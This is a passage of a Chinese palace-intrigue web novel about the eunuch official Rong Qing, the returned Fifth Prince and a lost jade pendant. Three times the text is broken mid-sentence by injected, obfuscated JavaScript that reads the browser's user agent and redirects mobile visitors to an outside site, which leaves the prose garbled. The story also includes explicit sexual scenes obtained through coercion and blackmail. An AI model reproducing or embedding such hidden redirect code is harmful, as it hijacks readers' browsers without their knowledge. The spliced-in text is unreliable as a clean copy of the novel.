“不该是这样的……”他想不通,到底为何赵珝也会生出那种心思,和那些人又有什么区别?他是在报复自己么? 他眨了眨眼睛,脑袋成了一团浆糊,怎么也想不清楚。 “督主?”长乐没听清,连忙伏下身子,去仔细辨认他说的话。 “没什么……”容倾晃晃脑袋。这时自鸣钟忽而叮叮当当地一齐响了,其中一个有机关,到了整点会跳出衣着怪异的番邦人偶,载歌载舞的。容倾盯着那些人偶看,一时竟清醒了不少,“明日,你遣人去请宋时雨,我有事要让他办。” “宋指挥使?”长乐讶异道。 “是。”容倾颔首。 说完这句,他眼睛一闭,晕了过去。 而桌上的酒才不过少了些许。 长乐无奈,只得将人打横抱起,轻手轻脚地上楼。楼上有张浮夸的架子床,与楼下一色的繁复奢靡。他将人小心翼翼放入那堆绫罗锦绣,扯过被角,给人把被子盖好。 吃点酒也不算坏事,至少能好好睡上一觉,省得整夜睡不着,又跑去司礼监瞧上一夜的奏章。 长乐跪在榻边,一动不动,凝视着榻上人的睡颜。素白的一张脸,还没巴掌大,此刻正眉头微蹙,似乎睡得不太安稳。 长乐记得,自己头一次遇见容倾时,这人尚未及冠。彼时容倾方从西南平乱归来,是朝中新贵。那时长乐快死了,和兄弟四喜一起,犯了一点小错,便要被用棍子活活打死。 在他将要认命的时刻,忽而有个清凌凌的声音在耳边响起:“一点小错而已,犯不着这般惩处。咱家那儿正好缺人手,叫他们跟咱家走。” 他用尽力气,扬起脸,看见一个青衣少年,像画里走出的神仙。那一眼便是一生,于是他和四喜都活了下来。 长乐晓得,他不比兄长四喜,有出人头地的心气。他只想一辈子陪着容倾,说是报恩也好,说是爱慕也罢,他甘愿做个影子,紧紧跟在容倾的身后。 思及此,他身子微微颤抖,大着胆子,俯身轻轻吻了一下容倾的手背,而后悄无声息地退下。 下了楼,有人来报,说是五殿下有东西要给督主。 长乐疑惑,问那内侍:“五殿下不是被禁足了么?” 内侍道:“确是如此,但一件小玩意儿,奴婢还是能帮五殿下送来的。”,一面说着,一面出示了一块玉佩。 那玉佩并不起眼,沁色也不好,色泽暗沉,像一块洗不掉的污渍,玉佩下缀着的流苏更是乱七八糟,与皇子的身份格格不入。 长乐皱眉:“当真是五殿下的东西?” 内侍道:“五殿下吩咐奴婢,说此玉佩是当年督主所持,殿下离京时意外带走,如今特此前来物归原主。” “我晓得了,督主已经歇下,待醒来我再通报此事。”长乐接过玉佩,淡淡道。 等那人离去,长乐在原地沉默良久。他握着那冰凉的玉佩,心中一时纠结万分。 五皇子归来后,容倾很难过。 而他也有私心。 思来想去,他一咬牙,不打算将此事和玉佩告知容倾,至少在这个关头,他并不愿意让容倾知晓。 他不想容倾难过。 若出了什么事,他一力承担便可。 …… 第二日,容倾从宿醉中醒来,头痛欲裂。 如果一杯倒也叫宿醉的话。 他招来长乐,哑着嗓子道:“给我更衣。” 一夜无梦,虽说头疼,但总归神清气爽了不少。长乐在为他束发,他也不闲着,洗了脸,给自己抹了润肤的脂膏,戴上金累丝耳坠,可脸色太苍白,只得打开一盒胭脂,取出些许,在脸上抹匀,增添一点气色。 半个时辰后,他变回了那个不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305387|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 近人情的东厂提督。他今日未着蟒袍,而是一身青色官服,斗牛补子,披着银狐大氅,拥着暖炉,乘轿来到东厂内署。 清晨又下了一场薄雪,地上湿滑,长乐搀扶着他,生怕他摔了,亦步亦趋,直到他进了值房,才松了口气。 桌案上整整齐齐码着公务,从左到右,依次是急需他过目的、尚有回转余地的、以及一些不大要紧的事。自从他接手东厂,自上而下狠狠整治一番,如今东厂滴水不漏、效率极高,几乎是他的一言堂。 处理了大半公务,头又开始疼。容倾停下手里的活计,揉了揉额角,叫了两个理刑百户过来,吩咐道:“你们去查一查这些年五皇子的踪迹,例如军粮分配、战事指挥之类的细节,务必面面俱到,尤注意一些……值得做文章的地方。” 那两人对视一眼,似乎都很奇怪,但还是接了任务,无声退下。 容倾愧疚也愧疚过了,不妨碍他给赵珝使绊子。他要亲自告诉赵珝,留在京师,哪怕是他容倾,也可能会为了某件事,置赵珝于死地。 过了晌午,宫里头粗拟了王妃的单子,皆是京师适龄的女儿家,遣人送至容倾的桌案。他神色淡淡,一张纸一张纸翻看,筛去一部分,忽而听见外头传来一阵用力的脚步声。 他立时警觉地盯住门口。 只见一个身材高大的男人迈入屋子,身着绯色狮子补圆领袍,一脸笑意。这男人右眼下有一颗痣,长得倒是俊秀,却又带着一丝令人不寒而栗的阴冷。 容倾见是他,礼貌笑笑,道:“宋指挥使,咱家盼了一上午,总算把您给盼过来了。” 男人也笑,随手拉过一张椅子,大喇喇地坐下,轻佻道:“督主大人何出此言?明明是下官盼星星盼月亮,盼了半个月,才盼来督主大人的一面。” “宋时雨,别花言巧语的。”容倾道出男人的真名,懒得废话,单刀直入道,“我有事拜托你。” 宋时雨挑眉,忽而起身,缓缓踱步至容倾身侧,俯下身子,在人耳边笑道:“督主大人,本官有些口渴,不知能否先向督主讨口水吃,再谈一谈其他的事?” 这话说得极为暧昧,听得容倾暗自磨牙,面不改色骂道:“滚。” 宋时雨此人便是如此,虽贵为锦衣卫指挥使,有一个文绉绉的名字,但为人处事极其阴暗粘稠,如同狗皮膏药一般,一旦被其缠住,便再也甩不开。 当年容倾选择与他合作,便是看中他的手段。此人曾是锦衣卫中的高手,极擅长暗杀,许多不干净的事,交由他来做,自是一百个放心,包管刀过不留情。当然,如此一个奇人,并不是那么好控制的,容倾也因此……付出了些代价。 但他今日没心情和宋时雨周旋。 宋时雨听了那个“滚”字,非但不生气,反而笑意更盛。他单膝跪在容倾面前,伸出手,轻轻抚摸容倾搁在膝盖上的手背,笑道:“督主大人过河拆桥的本事,真是日益精进了。需要下官办事,便是好听的一声‘宋指挥使’;事还没说完,又要下官滚。下官记得,半个月前,督主大人还在下官怀里……” 他扫过容倾白皙的脖颈,滑溜溜的,看得容倾攥紧了拳头。好在宋时雨还有些良心,打住了荤话,接着道:“督主大人让下官查的事,东厂也能查,当然,门路不一样,总会有些偏差。您一向恨不得把一切握在手心里,哪怕是些不干不净的勾当。不过嘛,下官总不能白白出力,总得……给些甜头罢?” 容倾闻言淡淡一笑:“你演上瘾了?” 宋时雨无赖道:“下官饿了半个月,想讨口吃的罢了。” “你去查一查辽东这三年有关五皇子的所有事件,务必面面俱到……”容倾一字一句道,“至于你想要的……过几日再说罢。” “五皇子?”宋时雨面露讶异,唇角笑容玩味,“督主大人这是……铁了心要让五皇子听话?督主大人的心真狠啊,连自己带大的小孩都舍得坑,不怕日后遭报应么?” “干你何事?”容倾皱眉,“好了,便是此事需你出力,宋指挥使,请回罢。” “不。”宋时雨笑道,“督主大人,赏一口水给下官,行么?下官的舌头有多厉害,您也是晓得的……” …… 佛祖的目光慈悲。 赵珝放下手中的经书,神色淡漠。在外人面前,他是意气风发的皇子,但在私下,那些明亮的色彩荡然无存,只剩下一个冷硬的石像。 他沉静的面容忽而出现一丝裂缝,忍不住抬头,望向远方。 他想,姐姐……如今在做什么呢? 那块玉佩,姐姐见了,会高兴么? 8. 苦肉 宋时雨良心未泯,半是强迫半是诱骗带人进了里间。里间有张软榻,宋时雨在上头睡过多次,已是轻车熟路。 “督主大人浑身上下,浑身只有嘴是硬的。”他抬起手,指腹擦过容倾的唇,那唇柔软得不可思议,便低笑道,“让下官尝一口,看看是不是真的嘴硬……” 容倾不晓得他哪来这么多的戏,偏头避开那将落未落的吻,语含厌烦道:“要做便做,哪来那么多废话?快些,我还有公务在身。”说罢,自己躺上了软榻,只想让宋时雨早些弄完。 他索性闭上了眼,忽而身上一重,是宋时雨压了上来。他轻轻咬住下唇,只当自己被一条发狂的野狗缠住了。 这副模样,落在宋时雨眼中,却是别有一番风情。他目光贪婪,舔过那紧蹙的眉尖、下撇的唇角,只觉浑身舒畅,笑道:“督主大人有命,下官哪敢不从?” 外头寒冷,乍一暴露,容倾不由得颤抖了一下。 …… “你!”容倾猝不及防,低斥一声,试图挣扎。 宋时雨失笑,紧紧把住容倾的腰,恶劣道:“这般……才好办公,不是么?” “唔……”容倾说不出话了。 …… 思绪竟开始逸散。容倾迷迷糊糊想,公务……对,公务,他要给赵珝选妃,选谁好呢?家族不能太显赫,最好是……他目光涣散,落到不远处的屏风上,仿佛透过绣鸟漆黑的豆眼,瞧见了榻上纠缠的两具躯壳。绯红的是宋时雨,苍白的是他。 …… 宋时雨说得对,他的舌头……确实厉害得该死。 不知过了多久,容倾脑袋一片空白,浑身没了力气,趴在宋时雨的胸口急促喘息。待他稍稍缓过神,便被男人轻易翻了个身。 宋时雨伏在他的身上,舌尖轻轻玩弄着他小巧的耳垂,金累丝的耳坠晃来晃去。只听这人语含餍足道:“督主大人真是慷慨……下官的身子有些不大爽利,督主大人能否再赏个恩典,帮下官治一治相思病?” 说罢,拉起容倾的手,按上自己的腰带。容倾勉强拾回些许清明,声音沙哑骂道:“……滚开。”在这种时候,他嗓音里那股若有若无的甜更明显了,勾得人心痒痒。 宋时雨轻笑一声。 …… “督主大人……”宋时雨语含恶意,轻咬住他艳红的耳垂,“不,容娘娘,您也不想让万岁爷知道……” 这番威胁冰水一般,将容倾浇了个透心凉。 赵瞻会如何? 赵瞻自然……心知肚明。 说不定还会觉得有趣,甚至……容倾不敢细想,唇间溢出细碎的呜咽,无声地流着泪,任凭男人动作。他可耻地发现,如此这般的放弃一切,让红尘淹没自己,竟能短暂安抚他焦灼的魂魄。 忘了赵珝,忘了选妃……忘了一切。 结束时,外头已是天色将晚。 宋时雨懒散地靠在榻上,看容倾背对着他,一件一件穿上衣裳。 先是最里头洁白的中衣,包裹着那具柔美的胴体。然后便是一层夹棉的袍子,最后是那件石青的斗牛补官服,一丝不苟,整整齐齐,好似从未脱下过一般。 容倾的神色早已恢复平静,垂着眼眸,认真地给自己系上腰带,仿佛方才那个失态的人只是一个幻觉。 “容倾。” 宋时雨起身,胸膛贴着他单薄的背脊,双手拢起他凌乱的青丝,替他重新束起,语气不再戏谑,而是认真叫了一声他的名字。 这人又犯什么病? 容倾皱起眉,回头瞧一眼宋时雨,唇角却被这男的飞速偷亲了一下。 宋时雨的吻一触即分,旋即他跳下软榻,一脸玩世不恭道:“多谢督主大人款待!至于那件事……下官近日就给您一个交代!下官告退!” 说罢,他笑着扬长而去。容倾愣在原地,指尖轻轻点在方才亲过的唇角,面无表情,眼底却浮出一丝疑惑。 算了。 容倾想。 还要一大堆公务要他去处理。 …… 赵珝虽被禁足,却不曾善罢甘休。 他似乎卯足了劲,要和赵瞻抗争到底。 禁足第三日,内侍来报,说五皇子绝食了,送去的饭菜一口不吃,连水也逐渐不碰了。 赵瞻正在批阅奏章,闻言嗤笑一声,手中朱笔并未停下,仿佛听到了件趣事。 “容卿,你听听。”他语气淡淡,“朕赐他‘忠孝仁义’的匾额,他便还给朕一个‘刚烈不屈’……这孩子,在和朕打擂台呢。” 容倾闻言露出笑容,搁下手中的朱砂笔,温声细语道:“五殿下也不过十八,意气用事的年纪,万岁爷不必挂心,饿极了,自然就晓得吃了。” “哦?”赵瞻抬起眼,目光轻轻落在容倾的脸上,那目光里沉着一丝笑意,“五郎这性子,倒是颇有几分你当年的影子,一个两个,倔得令朕头疼。” “万岁爷说笑了,臣一介奴才,如何同皇子相提并论?”容倾连忙道。 “是么?”赵瞻不置可否一笑,将容倾拉到自己腿上,重新低下头去看奏章,竟是真的不管了。 传话的内侍跪在地上,浑身抖如筛糠,小心翼翼道:“万岁爷……不、不仅是绝食……五殿下还受了风寒,加之旧伤复发……” “旧伤?” 容倾几乎是下意识脱口而出,他欲起身问个清楚,腰却被赵瞻牢牢锁住,在男人结实的怀里动弹不得。 糟糕。 暖阁里一片寂静。 赵瞻批阅奏章的手一顿,他没有发问,也没有看容倾,只是维持那个姿势,似乎在沉思什么。 容倾额间沁出冷汗,身子一瞬僵硬,他余光瞥一眼赵瞻,在对方将要开口前,抢先一步,软着嗓音道:“万岁爷恕罪,是臣失态了。臣也上过战场,见过许多将士因耽搁了治伤,落下不少病根,五殿下千金之躯……” “别太担心。”赵瞻眯起眼睛看向他,掌心轻轻拍着他的脸颊,语气平淡,听不出喜怒,对那内侍命令道,“何时受的伤?给朕如实报来。” “奴婢也不晓得,五殿下说是中的箭伤,当时未能妥善处理,进京途中受了寒,加之一路颠簸,伤口崩裂,现下是……鲜血淋漓。”内侍头埋得更低了。 “朕明白了。”赵瞻沉吟片刻,轻轻握着容倾的手。随后他轻描淡写开了口,“去叫太医,过会儿朕和容卿一同去看看他。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305388|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喏。”内侍如蒙大赦,连滚带爬,退出了暖阁。 内侍走后,赵瞻搁了笔,放下怀里的人,起身踱步至窗前。新岁将至,宫人们正在筹备一干事务,换上簇新的红灯笼,人来人往,向来肃穆的乾清宫也多了几分人气。 “子定。”赵瞻唤他的字,“王妃的人选,你心里可有素了?” 容倾道:“共筛出十位适龄女子,皆是书香门第出身的闺秀,明日臣将名单、画像一同呈上,请万岁爷过目。” “嗯。”赵瞻颔首,忽而话峰一转,感慨道,“又是一年,日子过得可真快,你在朕身边,也得有十余年了罢?” 容倾道:“回万岁爷,十三年。” “十三年……”赵瞻轻叹。他转过身,亲了亲容倾的唇,低声道,“走罢,去瞧一瞧五郎。” 他们到时,太医已经替赵珝包扎好了。 赵瞻只瞧了亲儿子一眼,兴趣缺缺,随口问了太医几句情况,留下容倾一人陪着赵珝,自个去佛祖那儿静一静。 只隔着一道屏风,外头赵瞻与高僧交谈的声音清晰可闻。 容倾站在离床榻几步远的地方,并未接近。而榻上的人正发着高热,又因绝食绝水,面色憔悴,唯有一双眼睛,见了容倾,竟浮出几缕飞扬的笑意,硬撑着身子,坐了起来。 “好一出苦肉计。”容倾面无表情,声音极冷,“怎么,五殿下是嫌命太长,没死在战场上遗憾,便要死在佛堂里?” 赵珝笑,笑到一半,低咳不止。他盯着容倾,恬不知耻道:“只要能骗你来看我,做什么也无所谓。”他露出一个扭曲的神情,对容倾伸出一只手,轻轻拍了拍榻沿,“姐姐……我好疼……你过来陪一陪我,好不好?” “闭嘴。”容倾头疼不已,他知道这是个陷阱,但莫名其妙,他想起很多年前,赵珝不过四五岁,病得快死了,窝在他的怀里,求他不要离开……他终究心软了,公事公办道:“躺下,伤了哪,我看看。” 他靠近床榻,俯下身,伸出手欲查看赵珝右肩的伤。 谁料这人忽而握住他的手腕,掌心烫得吓人,也不知一个绝食三日、高热不退的人哪来如此大的力气,直接将容倾拖上床榻,稳稳压在自己的身下。 “好凉快,好舒服……”赵珝轻轻说道,将脸贴在容倾的脖颈上,“像凉糕一样……” 容倾自幼体凉,而如今身子垮了,更是浑身冰凉。而赵珝正发着高热,通体滚烫,笼罩着他,他几乎无法喘息。 屏风之外的响起脚步声,容倾心中一紧,低喝道:“放肆!你是烧糊涂了?!前几日那般闹一通不够,非要和他撕破脸么?” 赵珝不答,目光幽深,一动不动盯着他。 半晌,赵珝咧开嘴笑了,他状似不经意,却又着实不怀好意问道:“姐姐给我选了哪家的千金?和姐姐长得又有几分像……” 容倾原先的一点心软,随着对方这句消散得一干二净。他嗤笑一声,用一种平静到近乎残忍的目光审视赵珝。 就算他武功尽废,一点微小的挣扎也玩得起。只见他手腕一翻,一只手从赵珝的控制中逃脱,精准且狠辣地按压在赵珝的右肩! 而此时屏风外的脚步声越来越近。 9. 军粮 容倾出手快、准、狠,指尖按进赵珝右肩的伤口,不轻不重,既能让对方疼,又不至于伤口开裂。 赵珝猝不及防,登时面容扭曲,闷哼一声,身子摇晃几下,容倾趁机推开他,起了身。 只见男人捂着右肩,在榻上缓缓蜷成一团,方才的强势荡然无存。他抬起眼,不知是不是烧糊涂了,目光涣散,却固执地在容倾的腰上打转,似乎在寻找某个能够维持他性命的东西,从唇缝挤出一丝气声:“姐姐……” 就在这时,屏风外的脚步声骤停。容倾转过身,见来者是赵瞻,领着数位太医、僧人,绕过屏风走来。 皇帝的目光淡淡,掠过榻上痛得发抖的儿子,落在神色平常、衣衫规整的容倾身上,不见喜怒地问:“方才还好好的,这是怎么了?” 容倾一脸坦然,语气平稳道:“回万岁爷,五殿下怕是烧糊涂了,一时陷入梦魇,有些动静便惊悸非常,险些从榻上掉下来。臣扶殿下时急了些,碰到了伤口……依臣看,佛堂清静地,到底不是伺候人的地方,不如换一批手脚麻利的人过来,免得殿下再受什么无妄之灾。” “玉佩……”榻上的赵珝仿佛听不见他们的对话,陷在一片混沌之中。他盯着容倾的腰间,茫然地眨眨眼,似乎在容倾身上寻找着什么,确认无果后,他唇角微扯,露出一个近乎自嘲的笑容,认命地闭上了眼。 “果然是烧糊涂了,尽说些旁人听不懂的胡话。”赵瞻轻笑一声,并非父亲的关心,反而觉得儿子的痛苦十分有趣一般。他不再看榻上的赵珝,自然而然地牵起容倾的手,“既然如此,便依你说的办。总得让五郎安生地把病养好才是。” “臣,遵旨。”容倾微微欠身。 临走前,他还是忍不住回首瞧了一眼赵珝。只见对方不省人事,似是彻底昏睡了过去,唯有嘴唇不断翕动,似乎在说些什么,却始终没有声音发出。 他收回目光,神色寡淡,踏出这间檀香味极重的佛堂。 而身后佛祖慈悲依旧。 …… 只能说,赵珝还挺会造势。 一出苦肉计,换得满朝议论纷纷。这帮朝臣,不论平日里如何,一旦碰上诸如“仁义”“孝悌”之事,嘴皮子格外的利索,一个个满口的圣贤话。 容倾立在龙椅一侧,听他们从一整年的税收吵到谁谁谁丁忧期间偷睡寡妇,太阳穴突突地跳。偌大的朝廷,有时居然与乡野田间无甚区别,互骂起来,一个字比一个字脏,甚至一言不合就撩袖子。 骂来骂去,赵瞻乏了,抬手按了按额角。 这便是要退朝的意思了。 容倾瞥见皇帝的示意,挂上温和谦卑的笑容,朗声道:“诸公,今日就到这儿罢。财政之事,地方的档册还未送齐,估摸也得等到年后了。至于其他的……明日再议。” “且慢。臣,有事禀告。” 内阁首辅胡长庸出列,沉声道。 “胡爱卿,何事?”赵瞻起身到一半,又坐了回去,脸上浮出一丝不喜不怒的笑,一派明君气度。 胡长庸道:“臣听闻五殿下重病,料想殿下在辽东立下的功劳,又念及殿下孝悌忠信……陛下禁足不放,恐有不妥。” “不妥?爱卿,你说说看,哪有不妥?”赵瞻似笑非笑,“皇子年纪到了,不娶妻生子,为皇家开枝散叶,岂非不孝?” “然臣以为,此非不孝。”胡长庸语气沉着,“守疆护土,乃殿下之大孝;开枝散叶,虽必要,却并非当下最紧迫的事。殿下是功臣,若要娶妻,须得精挑细选,方能配得上殿下的功劳啊。当然,殿下当众出言无状,是罪过,如今陛下罚也罚过了,若是再罚下去,只怕诸位将士心寒。” 胡老头的这番发言,便代表了大半文官们的态度——皇帝要做“明君”、“仁君”,对待儿子自然也得“仁”,何必为娶妻一事闹得僵硬? “况且,陛下,还有三日,便是吃团圆饭的日子了。”胡长庸面露感慨,“几位皇子均已就藩,陛下只剩五殿下这么一个小儿子在京,也算一种熨帖罢!” 容倾险些笑出声。 这老头也是奇人一个。赵瞻不喜五皇子之事满朝皆知,随着年岁渐长,这种不喜逐渐收敛了起来,但也不咸不淡,尤其是他们中间还隔着一个容倾。老头方才的一番话,都快把赵珝说出花了,也不知赵珝听了,会不会吐出来。 以胡长庸为首的文官集团,似乎想赵珝留在京中,或者至少,想让赵珝亲近他们。毕竟这些年容倾、孟进两个权宦气焰嚣张,他们需要一个能与之抗衡的靶子。刚回京的赵珝,便是个不错的人选。 故而胡长庸一言激起千层浪,又站出几个举重若轻的大员,力挺胡长庸。 容倾心中嗤笑,面上仍是一派谦顺,半阖着眼,目光掠过朝臣们各色的官服,文武分列,补子上绣着禽鸟猛兽,栩栩如生,神态各异,正如同这底下站的几百人,也都是些栩栩如生的禽兽罢了。 赵瞻在龙椅上沉默片刻,笑容仿佛刻在了脸上,看不出喜怒。他唤道:“容卿。” “臣在。”容倾欠身。 “你觉得呢?”赵瞻将问题踢给了他。 他觉得? 他当然觉得无所谓。 赵珝已经把火炉架好了,不论他怎么说、怎么做,文官们定然皆不满意,又撼动不得赵瞻的想法,那些指责只会落到容倾的身上。 赵珝根本就没想让他好过。 他也不会让赵珝好过。 “五殿下性子自幼刚直,认定的事十头牛也拉不回来,只怕……不好办。”容倾垂眸说道,语气平静。 “是么?”赵瞻闭上眼,缓缓起身,负手而立,“出来吃个团圆饭倒是可以,解除禁足一事……明日再议罢!” 再议。 便是有了可乘之机。 容倾心里不禁稍稍佩服起赵珝,不过三年,已经学会借势而行,日后只怕……深不可测。 他忽而意识到,赵珝的的确确是个男人了。 一个和那些衣冠禽兽……并无两样的男人。 退朝后,容倾并未随赵瞻回到乾清宫,而是跟在文武百官后头,预备前去东厂内署面见宋时雨。这人大清早遣人一封急信,非要见容倾,也不知查到了什么,效率倒是极快。 他缓步走下汉白玉云梯,一身绯袍似火。沿路的官员见了他,纷纷扭过头,与同僚耳语,眼睛却始终落在他的身上。 一个身着蟒袍的太监。 呵。 恨他的人,自然是用恨的目光盯着他,恨不得扒了他的衣裳,瞧一瞧里头究竟是怎样的狼心狗肺。更多的是探究、审视——值不值得拉拢他?朝廷上只谈爱恨还是太儿戏了,大多数人,所求的不过一个“利”字。至于另外一些他的入幕之宾……露水情缘,不提也罢。 人这种东西,生而猎奇。一个有着美艳皮囊的禁/脔,甚至是皇帝的禁/脔,光是这层身份,便是大多数人的春/药。他们其中的某些人,有的还是容倾的政敌,用过不少下三滥的手段,强制品尝过几次容倾。 宋时雨正是其中之一。 外头风大,容倾方踏入值房,冷热交替,止不住咳了几声。长乐赶忙上前几步,将换好的暖炉塞入他手中,又用自己的手捂住他冰凉的手背,心急道:“怎么又咳了?奴婢去找大夫……” 长乐话说到一半,忽而噎住了。容倾抬了眼,轻轻看着他, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“要是捅了出来,督主大人和辽东军,可一个都别想兜着走!” 容倾“啪”地一声,合上账簿。 他全明白了。 这根本不是什么贪腐案,而是一场阴毒的构陷。仗打赢了,事后必会复盘,此事一旦捅出来,人人甩锅,背锅的不是他容倾,便是赵珝一系的辽东军。 ……赵珝知道此事么?或者说,插手了多少? 宋时雨端详着他的神情,竟然一时看不出喜怒,便笑道:“督主大人可千万别玩火自焚,漕运上下就您插手得最多,一旦出了事,哎呀,下官可保不住您!” “哦?”容倾冷冷看他一眼,露出一个意味不明的笑,“宋指挥使这是想脱身?别以为你能独善其身,你的把柄,本督手上多着呢。” 宋时雨闻言捂住心口,夸张道:“督主大人说的哪里话?督主要上刀山,下官便陪着上刀山;要下火海,下官也照样奉陪,只要……”他眯起眼睛,十分无赖道,“只要督主每一日都让下官一亲芳泽,就够了。” 这人的舌头着实令人讨厌。 容倾揉揉额角,心中杀意四起,面上依然不冷不热,起身唤道:“长乐。” 长乐连忙进屋:“奴婢在。” “去将四喜叫过来。” “四喜?督主,这……”长乐讶异非常,抬起头看着容倾。四喜是长乐的同胞兄长,在辽东监军三年,前不久才回了东厂,任掌刑千户。 四喜是容倾布在辽东的眼线。 若真有此事……为何迟迟不报? 10. 玉佩 四喜与长乐的面容,有七分相似。 较之长乐的清俊,四喜虽为阉人,眉目间却有一股特殊的坚毅。他走进值房,一撩衣袍,稳稳当当跪在地上,磕了一个头,“咚”的一声,在寂静的室内格外清晰。 他嘴唇颤抖,喉结一滚,沉着声音道:“奴婢四喜,拜见督主。” 容倾站在窗边,见外头簌簌落雪,身旁的香炉逸出几缕飞烟,揉碎他的眉眼,影影绰绰,看不真切。他闻言微微侧身,目光一寸一寸,从四喜的袍角,一直扫到头顶稳稳戴着的三山帽上,神色淡淡道:“回京后,可还适应?” “回督主,一切都好。”四喜道。 “嗯。”容倾颔首。 他看着四喜,心里不可避免地升起一个念头——若四喜真的背叛了他,杀不杀? 聒噪的宋时雨很识趣,自个走了。此刻的堂屋寂静无声,四喜也不出声,沉默地跪在地上,垂着头颅。 而在他一旁的长乐见状,脸色惨白,扑通一声,也跪下了,目光惶惶不安地在两人之间逡巡,抖着嗓子道:“四喜,阿兄,你说句话啊!” “说句话……”容倾笑了笑,眸子里冰凉一片,“四喜,说罢,辽东这三年的粮草,到底有没有出问题?” 四喜嘴唇颤动,他抬起眼,深深看向容倾,而后再一次俯身,重重磕头,咬着牙道:“奴婢……罪该万死!” 容倾的眸子幽深,正欲开口的那刻—— “督主!!” 长乐不知何时满脸是泪,他膝行几步,挡在四喜的面前,从袖子里掏出一块陈旧的玉佩,拿不稳,双手剧烈地颤抖,玉佩滑落在地毯,发出一声闷响。他急了,又试图抓起,重复几次,滑落几次,方才握在手心,高高举起。 “是奴婢该死!是奴婢瞒报了!这玉佩……是五殿下前些日子送过来的,说是‘物归原主’。那时奴婢见督主兴致不大好,便私自扣下了!”长乐涕泪横流,语无伦次,“奴婢不清楚辽东之事,也不晓得玉佩与此事有无关系,是奴婢自作主张……只是奴婢坚信阿兄是有苦衷的!求督主看在往日的情分上……” 长乐向来藏不住事。他这些日子战战兢兢,被这小小玉佩折磨得快疯了,现下兄长出了事,便再也承受不住,主动领罪。 “你……”容倾的一腔怒火,还没来得及腾起,目光凝在那块玉佩上,登时心中蓦地一空,仿若坠入百丈悬崖,却迟迟听不见回声。 一块不起眼的玉佩,最廉价的岫玉,外头的杂货摊上一抓一大把,玉上的沁色暗沉,像结了疤却迟迟不落痂的伤痕。 那玉佩上,刻着“平安喜乐”四个字。 它是容倾的母亲,唯一留下的物件。那女人生前是艳满京师的名妓,死后满屋的金银被老鸨龟公瓜分殆尽,只留下这么一块玉佩。 它跟了容倾很多年,从他不过是一根谁都能踩死的野草,到如今烈火烹油、花团锦簇的大珰。 十二岁的容倾去到乾东五所,照顾两岁的赵珝。小儿夜里常常惊悸,喂了米汤和牛乳也不见好,容倾只得让他抓着玉佩,慢慢地哄。很小的孩子,很小的少年,空空荡荡的紫禁城,两个人紧紧抱在一起,捱过一千多个冰冷无边的日夜。 又过了几年,容倾去到赵瞻那儿伺候,与赵珝十天半个月才见一次。这块玉佩有时在他身上,有时会留给赵珝,放在小孩的枕头里,以此镇压邪祟。到了容倾的二十二岁,他远去宁夏、大同监军,玉佩便一直代替他陪着赵珝。 再后来……他回到京师,与赵珝大吵一架,玉佩就此没了下落。 想来想去,竟然还是被赵珝拿走了。 真好。 地上跪着的两兄弟,一个沉默认罪,一个痛哭求情。 他一手培养的心腹有事瞒着他,而赵珝…… “犯了错就好好说。”容倾感到巨大的疲惫淹没了他,声音浅得如一缕轻烟,“一副锯嘴葫芦的模样,能成什么事?” 他伸出手,接过那枚玉佩,熟悉的温凉贴着掌心,一时心绪纷杂,难以抑制地问:“五殿下……对这事心知肚明,对不对?” 四喜不再沉默,低声应道:“嗯,五殿下一直清楚。督主,这事您别查下去了,就算捅出来,也不会连累了您。奴婢有罪,但不曾背叛过督主,只求督主……平安喜乐。” “四喜。”容倾沙哑着嗓子,“你是我身边的老人,交给你的事,我一向很放心。自个关禁闭罢,想明白了,想清楚了,兴许我还能饶你一命。” 血落在玉佩上,暗红发黑。 容倾见怪不怪,随手拿出帕子,拭去嘴角的血迹。他避开长乐搀扶的手,语气冷淡道:“长乐,你也是,最近不必跟着我了,我……” 他握着玉佩,指腹擦过“平安喜乐”四个字,忽而无话可说。 …… “你确认玉佩送过去了?” 赵珝靠着软枕,手上胡乱翻着戏本,眼睛盯着壁上的观音像,嘴上却在问一旁的亲信毫不相干的问题。 这亲信名唤阿六,若长乐在此,便惊觉此人就是前几日送玉佩的小内侍。阿六道:“千真万确!奴婢亲眼见的,是督主身边的那个长乐接走了玉佩,他说督主当时歇下了,奴婢就走了。” “他没收到。”赵珝眨眨眼,眼前的观音菩萨唇角微扬,面露慈爱,手捧着净瓶,说是瓶子里的东西能免去一切疾患。 “哎呀,八成被那个长乐扣下了!”阿六懊恼万分,“是奴婢的错,东西给了就走……生怕碰上督主……” “他有什么好怕的?”赵珝闻言失笑,目光从观音身上挪下来,重新落在戏本上,明明一个字一个字他都认得,组合在一切,却怎么也看不进去。 阿六撇撇嘴,懒得和赵珝争论这个。他转了话题:“殿下,您还吃那个药来装病么?烧了三天三夜,奴婢怕您烧傻了!” “不急,再等等。”赵珝哂道,“做戏做全套, 